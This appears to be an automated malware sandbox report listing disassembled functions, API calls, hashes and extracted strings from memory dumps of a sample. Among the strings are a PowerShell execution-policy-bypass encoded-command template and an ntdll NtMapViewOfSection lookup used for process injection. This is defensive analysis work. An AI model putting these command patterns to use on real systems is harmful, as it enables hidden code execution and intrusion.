Instruction ID: 76af5c70d6d55f15a5d3e694d8c45974960cfc59736c55926a841bf454df5036
Opcode Fuzzy Hash: b3d57bf1a8e1718da0dab59a644853e162df0a73d9a39d542a15f5b5bcb328ed
Instruction Fuzzy Hash: 9B319E3221878486EB20CF52D40439977A6F789FD8F088229EE4D47B58DF7DC605CB04

Function 00680620 Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 00680577

Part of subcall function 00681D18: _getptd_noexit.LIBCMT ref: 00681D1C

_invalid_parameter_noinfo.LIBCMT ref: 00680582
_getstream.LIBCMT ref: 006805A2
_errno.LIBCMT ref: 006805B4
_errno.LIBCMT ref: 006805C6
_openfile.LIBCMT ref: 006805F4

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errno$_getptd_noexit_getstream_invalid_parameter_noinfo_openfile
String ID:
API String ID: 1547050394-0
Opcode ID: e39adbfa2b2f6f7307badbfd63093f86f5a875a8f375d579bd57b533050ef8dc
Instruction ID: a40d540d47b088048bfe16391e653f490ec8f920807c678a62003acf545fab94
Opcode Fuzzy Hash: e39adbfa2b2f6f7307badbfd63093f86f5a875a8f375d579bd57b533050ef8dc
Instruction Fuzzy Hash: BA112B6131478286FBD1BF22A90131EA7A7BF45BC0F448B25AE8997B15EF3CC4518B15

Function 001BFA20 Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 001BF977

Part of subcall function 001C1118: _getptd_noexit.LIBCMT ref: 001C111C

_invalid_parameter_noinfo.LIBCMT ref: 001BF982
_getstream.LIBCMT ref: 001BF9A2
_errno.LIBCMT ref: 001BF9B4
_errno.LIBCMT ref: 001BF9C6
_openfile.LIBCMT ref: 001BF9F4

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errno$_getptd_noexit_getstream_invalid_parameter_noinfo_openfile
String ID:
API String ID: 1547050394-0
Opcode ID: 0ee48a0889aaee90efd1175476a0cb7edf48224d72ecded3f82ab5c2f8e8549f
Instruction ID: d79c40bf3918c9fa484927681f85c025c9643a4f9237e60832a0d1a35a135649
Opcode Fuzzy Hash: 0ee48a0889aaee90efd1175476a0cb7edf48224d72ecded3f82ab5c2f8e8549f
Instruction Fuzzy Hash: 90112B3130478691DB155F72AC0179EA691BBA9BC4F48443DFE8997B15EF3CC4528700

Function 001C9B3C Relevance: 9.1, APIs: 6, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 001C9B55

Part of subcall function 001C1118: _getptd_noexit.LIBCMT ref: 001C111C

__lock_fhandle.LIBCMT ref: 001C9B9D
__doserrno.LIBCMT ref: 001C9BD2
_errno.LIBCMT ref: 001C9BD9

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errno$__doserrno__lock_fhandle_getptd_noexit
String ID:
API String ID: 2102446242-0
Opcode ID: acc1e709539f3a0e8ebe9ec8259c6fe6fa9b3b7ac075e700e957115c0bfbe106
Instruction ID: dd29af7a0bbcfb0f8c885d72607cb4f9eedecfcd2488692b8e97fb2a43453b91
Opcode Fuzzy Hash: acc1e709539f3a0e8ebe9ec8259c6fe6fa9b3b7ac075e700e957115c0bfbe106
Instruction Fuzzy Hash: 9C11E632300681A5DB056FA9E8D9FBD7654ABB1760F59412DEA160B392CB78CC41C314

Function 0066FC64 Relevance: 9.1, APIs: 6, Instructions: 58fileCOMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 0066FC85

Part of subcall function 0067F284: _FF_MSGBANNER.LIBCMT ref: 0067F2B4
Part of subcall function 0067F284: _NMSG_WRITE.LIBCMT ref: 0067F2BE
Part of subcall function 0067F284: HeapAlloc.KERNEL32 ref: 0067F2D9
Part of subcall function 0067F284: _callnewh.LIBCMT ref: 0067F2F2
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F2FD
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F308

free.LIBCMT ref: 0066FCC0
fwrite.LIBCMT ref: 0066FD01
fclose.LIBCMT ref: 0066FD09
free.LIBCMT ref: 0066FD16

Part of subcall function 0067F244: HeapFree.KERNEL32 ref: 0067F25A
Part of subcall function 0067F244: _errno.LIBCMT ref: 0067F264
Part of subcall function 0067F244: GetLastError.KERNEL32 ref: 0067F26C

GetLastError.KERNEL32 ref: 0066FD1B

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errno$ErrorHeapLastfree$AllocFree_callnewhfclosefwritemalloc
String ID:
API String ID: 1616846154-0
Opcode ID: 17de93f2489608755237434f8f5e09f648d27c8e17da9d8174f51a1e36afe512
Instruction ID: 7beae5d72eb1f2fed228a9ffe6e69fda94c884abe9a2695e6ca6c291c5bb6aa4
Opcode Fuzzy Hash: 17de93f2489608755237434f8f5e09f648d27c8e17da9d8174f51a1e36afe512
Instruction Fuzzy Hash: A011C851304B4041DA50F762F05126E5353AB85FE4F448639FF6D47B8AEE3DC6058784

Function 00674488 Relevance: 9.1, APIs: 6, Instructions: 51pipefileCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 006744A6
WaitNamedPipeA.KERNEL32 ref: 006744BB
CreateFileA.KERNEL32 ref: 006744E5
SetNamedPipeHandleState.KERNEL32 ref: 00674507
DisconnectNamedPipe.KERNEL32 ref: 00674514
SetLastError.KERNEL32 ref: 00674529

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: NamedPipe$ErrorLast$CreateDisconnectFileHandleStateWait
String ID:
API String ID: 3798860377-0
Opcode ID: 66f56032a1747051bfe9465942bea2b3a251e1270fb13d2c0e90442697245dfd
Instruction ID: a5eaa13596bb6ba13a5b20f1861f8e719e20c87dd55486891cc02f8470e61110
Opcode Fuzzy Hash: 66f56032a1747051bfe9465942bea2b3a251e1270fb13d2c0e90442697245dfd
Instruction Fuzzy Hash: F411C13270465183FB109B25F52872A63A6F784BA8F408215DB5E47F98CF7DC4668B41

Function 0067EFEC Relevance: 9.0, APIs: 5, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 0067F00F

Part of subcall function 0067F284: _FF_MSGBANNER.LIBCMT ref: 0067F2B4
Part of subcall function 0067F284: _NMSG_WRITE.LIBCMT ref: 0067F2BE
Part of subcall function 0067F284: HeapAlloc.KERNEL32 ref: 0067F2D9
Part of subcall function 0067F284: _callnewh.LIBCMT ref: 0067F2F2
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F2FD
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F308

malloc.LIBCMT ref: 0067F01D

Part of subcall function 0067F284: _callnewh.LIBCMT ref: 0067F318
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F31D

malloc.LIBCMT ref: 0067F03F
_snprintf.LIBCMT ref: 0067F05A

Part of subcall function 0067F63C: _errno.LIBCMT ref: 0067F673
Part of subcall function 0067F63C: _invalid_parameter_noinfo.LIBCMT ref: 0067F67E

malloc.LIBCMT ref: 0067F075

Strings

HTTP/1.1 200 OKContent-Type: application/octet-streamContent-Length: %d, xrefs: 0067F044

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errnomalloc$_callnewh$AllocHeap_invalid_parameter_noinfo_snprintf
String ID: HTTP/1.1 200 OKContent-Type: application/octet-streamContent-Length: %d
API String ID: 3518644649-2739389480
Opcode ID: afba7a99536ed02a45dac5d500ee5d86b7940ec366185a31927e6e9a708e28fc
Instruction ID: e4aaa5cf7ec710a51765eb7b204984538c75f910b742846cdf55e64eaa3db872
Opcode Fuzzy Hash: afba7a99536ed02a45dac5d500ee5d86b7940ec366185a31927e6e9a708e28fc
Instruction Fuzzy Hash: 8B01D231705B9046DA84DB92B804B19769AF78CFE0F04822DEFAD47BC6DF38C1418780

Function 001BE3EC Relevance: 9.0, APIs: 5, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 001BE40F

Part of subcall function 001BE684: _FF_MSGBANNER.LIBCMT ref: 001BE6B4
Part of subcall function 001BE684: _NMSG_WRITE.LIBCMT ref: 001BE6BE
Part of subcall function 001BE684: _callnewh.LIBCMT ref: 001BE6F2
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE6FD
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE708

malloc.LIBCMT ref: 001BE41D

Part of subcall function 001BE684: _callnewh.LIBCMT ref: 001BE718
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE71D

malloc.LIBCMT ref: 001BE43F
_snprintf.LIBCMT ref: 001BE45A

Part of subcall function 001BEA3C: _errno.LIBCMT ref: 001BEA73
Part of subcall function 001BEA3C: _invalid_parameter_noinfo.LIBCMT ref: 001BEA7E

malloc.LIBCMT ref: 001BE475

Strings

dpoolWait, xrefs: 001BE444

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errnomalloc$_callnewh$_invalid_parameter_noinfo_snprintf
String ID: dpoolWait
API String ID: 2026495703-1875951006
Opcode ID: 8070209c1cbe6b8a0a820429e4883b75791e823d018c18b7f063917c64386bf6
Instruction ID: 6bb0191720dd6e5e514b52e385db50caed7c4f5a737b4c4f143b590beaf4cb2e
Opcode Fuzzy Hash: 8070209c1cbe6b8a0a820429e4883b75791e823d018c18b7f063917c64386bf6
Instruction Fuzzy Hash: 0301DEB1700B9081DA04DB52B844799B7D9F7B8FE0F05822AEFA947BC5CF78C0418780

Function 006731F4 Relevance: 8.9, APIs: 7, Instructions: 181stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

strchr.LIBCMT ref: 0067322E
strchr.LIBCMT ref: 0067324C
malloc.LIBCMT ref: 00673264
malloc.LIBCMT ref: 00673271
rand.LIBCMT ref: 0067333D
free.LIBCMT ref: 0067345B
free.LIBCMT ref: 00673463

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: freemallocstrchr$rand
String ID:
API String ID: 1305919620-0
Opcode ID: 5dd9697f37be70f43a9dfb8e879823c33dc0761040d61eac182ad5eba971c26a
Instruction ID: b37816b41801c4281175eb57c47ed9b6b93ee4c20e9b0afe91c745b2bdfa0cfe
Opcode Fuzzy Hash: 5dd9697f37be70f43a9dfb8e879823c33dc0761040d61eac182ad5eba971c26a
Instruction Fuzzy Hash: 5B613A62208FD481EA269F39A4013EAA392EF95BD4F088129DF8D17715EF3DC243D304

Function 001B25F4 Relevance: 8.9, APIs: 7, Instructions: 181stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

strchr.LIBCMT ref: 001B262E
strchr.LIBCMT ref: 001B264C
malloc.LIBCMT ref: 001B2664
malloc.LIBCMT ref: 001B2671
rand.LIBCMT ref: 001B273D
free.LIBCMT ref: 001B285B
free.LIBCMT ref: 001B2863

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: freemallocstrchr$rand
String ID:
API String ID: 1305919620-0
Opcode ID: f55c98597b31e9256bdda085e271814e8bdd530284bc77f6856305a025606a71
Instruction ID: 4621b4367b0e2598b79348c7eaca8d736ce7e3cd8140e4c037f313f146006020
Opcode Fuzzy Hash: f55c98597b31e9256bdda085e271814e8bdd530284bc77f6856305a025606a71
Instruction Fuzzy Hash: 2961F862608FC481EA269F29A4113EAB7A0EFA5BD4F085215DF8917B65EF3DC14BC700

Function 00664170 Relevance: 8.9, APIs: 7, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 006641BD

Part of subcall function 0067F284: _FF_MSGBANNER.LIBCMT ref: 0067F2B4
Part of subcall function 0067F284: _NMSG_WRITE.LIBCMT ref: 0067F2BE
Part of subcall function 0067F284: HeapAlloc.KERNEL32 ref: 0067F2D9
Part of subcall function 0067F284: _callnewh.LIBCMT ref: 0067F2F2
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F2FD
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F308

malloc.LIBCMT ref: 006641C8

Part of subcall function 0067F284: _callnewh.LIBCMT ref: 0067F318
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F31D

free.LIBCMT ref: 006642AF
free.LIBCMT ref: 006642B7
free.LIBCMT ref: 006642BF
free.LIBCMT ref: 006642CB
free.LIBCMT ref: 006642D8

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc$AllocHeap
String ID:
API String ID: 996410232-0
Opcode ID: 6118db362e25067081320d314af47720c2282f168c26b715ed83619844a1cd4b
Instruction ID: 2d4a88687e5d7507016a98631cb0bebce9c8d6f38e5837d614730d00a0240c0c
Opcode Fuzzy Hash: 6118db362e25067081320d314af47720c2282f168c26b715ed83619844a1cd4b
Instruction Fuzzy Hash: 074134323047828BDB59DBA699607AB275AFB49BC0F604124EF1A47B05DF38DA62C704

Function 001A3570 Relevance: 8.9, APIs: 7, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 001A35BD

Part of subcall function 001BE684: _FF_MSGBANNER.LIBCMT ref: 001BE6B4
Part of subcall function 001BE684: _NMSG_WRITE.LIBCMT ref: 001BE6BE
Part of subcall function 001BE684: _callnewh.LIBCMT ref: 001BE6F2
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE6FD
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE708

malloc.LIBCMT ref: 001A35C8

Part of subcall function 001BE684: _callnewh.LIBCMT ref: 001BE718
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE71D

free.LIBCMT ref: 001A36AF
free.LIBCMT ref: 001A36B7
free.LIBCMT ref: 001A36BF
free.LIBCMT ref: 001A36CB
free.LIBCMT ref: 001A36D8

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc
String ID:
API String ID: 2761444284-0
Opcode ID: 3866d312ddc7406d2c13ac3d10959d9d3de063b9a6b1dce899036bf231b32379
Instruction ID: abc562699c1c0602eaef7a062d5cb2216df987cc85915ee2cd16499f8642370d
Opcode Fuzzy Hash: 3866d312ddc7406d2c13ac3d10959d9d3de063b9a6b1dce899036bf231b32379
Instruction Fuzzy Hash: E941F326300791ABDB15DF27A9603AE6761FB6ABC0F444024EF6A47701EF38DA67C700

Function 0066F274 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

htonl.WS2_32 ref: 0066F2ED
htonl.WS2_32 ref: 0066F2F7
malloc.LIBCMT ref: 0066F310
free.LIBCMT ref: 0066F37D

Strings

zyxwvutsrqponmlk, xrefs: 0066F34C

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: htonl$freemalloc
String ID: zyxwvutsrqponmlk
API String ID: 1249573706-3884694604
Opcode ID: 71d646e4bb8b7e31db9a3308653b2d67bec3fe39b167032709c668510024000a
Instruction ID: 71bde60fd73a793298d6e4adf1f89da9c9d25217c6deb7eab5dc2c0ca77e50fb
Opcode Fuzzy Hash: 71d646e4bb8b7e31db9a3308653b2d67bec3fe39b167032709c668510024000a
Instruction Fuzzy Hash: CC21373230078046DB94EBB6E56132D6AD3AB89BD0F04803CEE5E87B5BEE3CC5468344

Function 00673FA4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00673FE7
GetProcAddress.KERNEL32 ref: 00673FF7
GetLastError.KERNEL32 ref: 006740BF

Part of subcall function 0067CC00: GetCurrentProcess.KERNEL32 ref: 0067CC8D

Part of subcall function 0067D134: GetCurrentProcess.KERNEL32 ref: 0067D161

Strings

NtMapViewOfSection, xrefs: 00673FED
ntdll.dll, xrefs: 00673FD9

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: CurrentProcess$AddressErrorHandleLastModuleProc
String ID: NtMapViewOfSection$ntdll.dll
API String ID: 1006775078-3170647572
Opcode ID: 4efd516be26a68cc1ab5fab53fe02ed59a35285f2b4b3cec42098ec83d9277dd
Instruction ID: 40f3ebebb26c67e1b7042a69d92add0a9986f91f53ff5cdcb4679804f439bff7
Opcode Fuzzy Hash: 4efd516be26a68cc1ab5fab53fe02ed59a35285f2b4b3cec42098ec83d9277dd
Instruction Fuzzy Hash: 3B31EF32710B4482EB10DB22E45976A73A2F788BB4F048329EF6D07B95DF3DC4468B44

Function 004025E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

signal.MSVCRT ref: 0040268A

Strings

CCG , xrefs: 004025F6

Memory Dump Source

Source File: 00000000.00000002.4113625005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4113602550.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113649061.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113672098.0000000000405000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113715440.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113736878.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113770648.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yZah650lHL.jbxd

Similarity

API ID: signal
String ID: CCG
API String ID: 1946981877-1584390748
Opcode ID: 648addc203ed1b4cbdb7cdbf4c8cfef0a20b4c864bfebc609ca8e68908cbbe4c
Instruction ID: 293b1a304c256a7ee66eff26b1d91746a270e19344e3818b9830088d28418f87
Opcode Fuzzy Hash: 648addc203ed1b4cbdb7cdbf4c8cfef0a20b4c864bfebc609ca8e68908cbbe4c
Instruction Fuzzy Hash: 1421A171B0154146EE396279865D33B10019B9A374F284E379A3DA73E0DAFECCC2830E

Function 001BB630 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

_time64.LIBCMT ref: 001BB654

Part of subcall function 001BF84C: _getptd.LIBCMT ref: 001BF854

malloc.LIBCMT ref: 001BB69C
strtok.LIBCMT ref: 001BB700
strtok.LIBCMT ref: 001BB711

Strings

eThreadpoolTimer, xrefs: 001BB6DA

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: strtok$_getptd_time64malloc
String ID: eThreadpoolTimer
API String ID: 1522986614-2707337283
Opcode ID: b02d7519bf37bc4b38ca8186062a8fc85f913fef5048514e0fa6af22142f2d69
Instruction ID: 6b6eb52b04a315c801423870f2c32a99ef6710bb137d619f24a896f26e01ed9d
Opcode Fuzzy Hash: b02d7519bf37bc4b38ca8186062a8fc85f913fef5048514e0fa6af22142f2d69
Instruction Fuzzy Hash: F921D6B2A14BD485DB10DF52E0886AD77A8F7A8FE4B16426AEF5A83B41CF74C441C780

Function 00671FB0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 00671FD2

Part of subcall function 0067F284: _FF_MSGBANNER.LIBCMT ref: 0067F2B4
Part of subcall function 0067F284: _NMSG_WRITE.LIBCMT ref: 0067F2BE
Part of subcall function 0067F284: HeapAlloc.KERNEL32 ref: 0067F2D9
Part of subcall function 0067F284: _callnewh.LIBCMT ref: 0067F2F2
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F2FD
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F308

_snprintf.LIBCMT ref: 00671FF1

Part of subcall function 0067F63C: _errno.LIBCMT ref: 0067F673
Part of subcall function 0067F63C: _invalid_parameter_noinfo.LIBCMT ref: 0067F67E

remove.LIBCMT ref: 00671FFD
remove.LIBCMT ref: 00672004

Strings

%s\%s, xrefs: 00671FD7

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errno$remove$AllocHeap_callnewh_invalid_parameter_noinfo_snprintfmalloc
String ID: %s\%s
API String ID: 1896346573-4073750446
Opcode ID: 6cb8594f6045d264f6437138ccf0bddfe367ceba4f17556bef63a27e1bb3b346
Instruction ID: e0e2b8aff05c8fda56302a13f39a6380ebc104d91b613d64687b117b274513b1
Opcode Fuzzy Hash: 6cb8594f6045d264f6437138ccf0bddfe367ceba4f17556bef63a27e1bb3b346
Instruction Fuzzy Hash: 10F0E925208740C6D350AB51B81036AB366E784FC0F588134BF8C5BB16CE38C5528748

Function 001B13B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 001B13D2

Part of subcall function 001BE684: _FF_MSGBANNER.LIBCMT ref: 001BE6B4
Part of subcall function 001BE684: _NMSG_WRITE.LIBCMT ref: 001BE6BE
Part of subcall function 001BE684: _callnewh.LIBCMT ref: 001BE6F2
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE6FD
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE708

_snprintf.LIBCMT ref: 001B13F1

Part of subcall function 001BEA3C: _errno.LIBCMT ref: 001BEA73
Part of subcall function 001BEA3C: _invalid_parameter_noinfo.LIBCMT ref: 001BEA7E

remove.LIBCMT ref: 001B13FD
remove.LIBCMT ref: 001B1404

Strings

uld not open process: %d (%u), xrefs: 001B13D7

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errno$remove$_callnewh_invalid_parameter_noinfo_snprintfmalloc
String ID: uld not open process: %d (%u)
API String ID: 2566950902-823969559
Opcode ID: fcd4f31b16295b3d981e03ccf995d44eb940f919008a0e94d9d9162e5faefa64
Instruction ID: a95d3efaa90c2af15f19040f1059ad5b508e251585c17898fc7696caa37f8ee5
Opcode Fuzzy Hash: fcd4f31b16295b3d981e03ccf995d44eb940f919008a0e94d9d9162e5faefa64
Instruction Fuzzy Hash: 6DF08261604B90D9D604AB12B8113EAB364E7A8FD0F9D4535FF8917B1ADF3CC5518744

Function 001ADA8C Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 165COMMONLIBRARYCODE

Download Yara Rule

APIs

_snprintf.LIBCMT ref: 001ADB25

Part of subcall function 001BEA3C: _errno.LIBCMT ref: 001BEA73
Part of subcall function 001BEA3C: _invalid_parameter_noinfo.LIBCMT ref: 001BEA7E

Part of subcall function 001B6F38: _snprintf.LIBCMT ref: 001B70A5

_snprintf.LIBCMT ref: 001ADBBD

Part of subcall function 001B2170: strchr.LIBCMT ref: 001B21D6
Part of subcall function 001B2170: _snprintf.LIBCMT ref: 001B220C

Part of subcall function 001B200C: strchr.LIBCMT ref: 001B2069
Part of subcall function 001B200C: _snprintf.LIBCMT ref: 001B20B3

_snprintf.LIBCMT ref: 001ADBD4

Strings

rshell -nop -exec bypass -EncodedCommand "%s", xrefs: 001ADACB
/'); %s, xrefs: 001ADB19, 001ADBB2

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _snprintf$strchr$_errno_invalid_parameter_noinfo
String ID: /'); %s$rshell -nop -exec bypass -EncodedCommand "%s"
API String ID: 199363273-1250630670
Opcode ID: 6e2045361780fadf1587795c869fcd23f7db7a84374f415de51a140654aa30c6
Instruction ID: 8d1d6e67d711b555cd00468b91f0abeea9f9fc8cd94810074212e067c41a4b5e
Opcode Fuzzy Hash: 6e2045361780fadf1587795c869fcd23f7db7a84374f415de51a140654aa30c6
Instruction Fuzzy Hash: AD61BD36700B8596EB10DF62E8907EEB3A5F799B98F804126EE8E57B58DF78C505C700

Function 006700F8 Relevance: 7.6, APIs: 5, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59c4576cc3bafda9519a74292b63c923cc8fd4fa7f2b0ae73700a3254d899919
Instruction ID: f2c5bbf88da8a699e662fc6f765ffd5b0472a53531a90afa3896da39091dbb55
Opcode Fuzzy Hash: 59c4576cc3bafda9519a74292b63c923cc8fd4fa7f2b0ae73700a3254d899919
Instruction Fuzzy Hash: 1651E063B04A40D6EF40EB75D4412ED6362FB95B88F80D129EE0E2771AEF38D64AC744

Function 0068062C Relevance: 7.6, APIs: 5, Instructions: 124COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00680664

Part of subcall function 00681D18: _getptd_noexit.LIBCMT ref: 00681D1C

_invalid_parameter_noinfo.LIBCMT ref: 0068066F
_flush.LIBCMT ref: 00680721
_fileno.LIBCMT ref: 00680742
_flsbuf.LIBCMT ref: 00680785

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errno_fileno_flsbuf_flush_getptd_noexit_invalid_parameter_noinfo
String ID:
API String ID: 1640621425-0
Opcode ID: 09bfc7a718d0a166204737d50e50cc52c68c3e2e3a0cecd9edcc1235780d4021
Instruction ID: 5dfa00621e6b32b7e7e6c45174b9e572d81259c5b26a8d18c8109948671366af
Opcode Fuzzy Hash: 09bfc7a718d0a166204737d50e50cc52c68c3e2e3a0cecd9edcc1235780d4021
Instruction Fuzzy Hash: FC314E3230074047FFA8BE63555025EB653BB94FE0F188B249F6647B91E778D49A8744

Function 001BFA2C Relevance: 7.6, APIs: 5, Instructions: 124COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 001BFA64

Part of subcall function 001C1118: _getptd_noexit.LIBCMT ref: 001C111C

_invalid_parameter_noinfo.LIBCMT ref: 001BFA6F
_flush.LIBCMT ref: 001BFB21
_fileno.LIBCMT ref: 001BFB42
_flsbuf.LIBCMT ref: 001BFB85

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errno_fileno_flsbuf_flush_getptd_noexit_invalid_parameter_noinfo
